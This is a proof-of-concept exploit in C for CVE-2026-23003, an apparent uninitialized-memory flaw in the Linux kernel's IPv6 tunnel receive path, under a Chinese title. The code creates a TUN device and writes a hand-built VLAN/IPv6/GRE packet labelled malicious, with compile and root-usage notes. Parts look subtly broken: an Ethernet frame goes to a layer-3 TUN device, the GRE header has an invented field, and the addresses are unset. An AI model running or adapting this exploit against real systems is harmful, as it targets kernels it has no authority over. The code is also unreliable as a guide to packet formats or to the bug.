CVE-2026-23003 Linux内核ip6_tunnel未初始化内存漏洞

// PoC for CVE-2026-23003: Linux kernel ip6_tunnel uninitialized memory // This PoC demonstrates triggering the vulnerability via TUN device #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_tun.h> #include <sys/ioctl.h> // VLAN header structure struct vlan_hdr { __be16 h_vlan_TCI; __be16 h_vlan_encapsulated_proto; }; // IPv6 header structure struct ipv6hdr { __u8 priority:4, version:4; __u8 flow_lbl[3]; __be16 payload_len; __u8 nexthdr; __u8 hop_limit; struct in6_addr saddr; struct in6_addr daddr; }; // GRE header with IPv6 payload struct grehdr { __be16 flags; __be16 protocol; __u8 nexthdr; // IPv6 nexthdr }; int create_tun_device(void) { struct ifreq ifr; int fd = open("/dev/net/tun", O_RDWR); if (fd < 0) return -1; memset(&ifr, 0, sizeof(ifr)); ifr.ifr_flags = IFF_TUN | IFF_NO_PI; strncpy(ifr.ifr_name, "tun0", IFNAMSIZ); if (ioctl(fd, TUNSETIFF, &ifr) < 0) { close(fd); return -1; } return fd; } void craft_malicious_packet(char *packet, int *len) { // Outer Ethernet frame with VLAN tag struct ethhdr { unsigned char h_dest[6]; unsigned char h_source[6]; __be16 h_proto; } *eth = (struct ethhdr *)packet; // VLAN header struct vlan_hdr *vlan = (struct vlan_hdr *)(packet + sizeof(struct ethhdr)); // Outer IPv6 header (tunnel header) struct ipv6hdr *outer_ip6 = (struct ipv6hdr *)(packet + sizeof(struct ethhdr) + sizeof(struct vlan_hdr)); // GRE header struct grehdr *gre = (struct grehdr *)(packet + sizeof(struct ethhdr) + sizeof(struct vlan_hdr) + sizeof(struct ipv6hdr)); // Inner IPv6 header struct ipv6hdr *inner_ip6 = (struct ipv6hdr *)(packet + sizeof(struct ethhdr) + sizeof(struct vlan_hdr) + sizeof(struct ipv6hdr) + sizeof(struct grehdr)); // Set Ethernet header with VLAN memset(eth->h_dest, 0xff, 6); memset(eth->h_source, 0xaa, 6); eth->h_proto = htons(0x8100); // VLAN tag // Set VLAN header vlan->h_vlan_TCI = htons(0x0001); vlan->h_vlan_encapsulated_proto = htons(0x86DD); // IPv6 // Set outer IPv6 header (tunnel encapsulation) outer_ip6->version = 6; outer_ip6->priority = 3; // ECN capable memset(outer_ip6->flow_lbl, 0, 3); outer_ip6->payload_len = htons(sizeof(struct grehdr) + sizeof(struct ipv6hdr)); outer_ip6->nexthdr = 47; // GRE outer_ip6->hop_limit = 64; // Set src/dst addresses... // Set GRE header gre->flags = 0; gre->protocol = htons(0x86DD); // IPv6 gre->nexthdr = 6; // TCP // Set inner IPv6 header with ECN marking inner_ip6->version = 6; inner_ip6->priority = 3; // ECN marking that triggers decapsulation memset(inner_ip6->flow_lbl, 0, 3); inner_ip6->payload_len = 0; inner_ip6->nexthdr = 6; // TCP inner_ip6->hop_limit = 128; *len = sizeof(struct ethhdr) + sizeof(struct vlan_hdr) + sizeof(struct ipv6hdr) + sizeof(struct grehdr) + sizeof(struct ipv6hdr); } int main() { int tun_fd = create_tun_device(); if (tun_fd < 0) { fprintf(stderr, "Failed to create TUN device\n"); return 1; } char packet[1024]; int len; craft_malicious_packet(packet, &len); printf("Sending malicious packet to trigger CVE-2026-23003...\n"); write(tun_fd, packet, len); close(tun_fd); return 0; } /* * Compilation: gcc -o cve_poc cve_poc.c * Usage: Requires root privileges to create TUN device * Effect: Triggers KMSAN warning in __ip6_tnl_rcv() due to * uninitialized memory access when processing VLAN-encapsulated * IPv6 tunnel packets with ECN marking */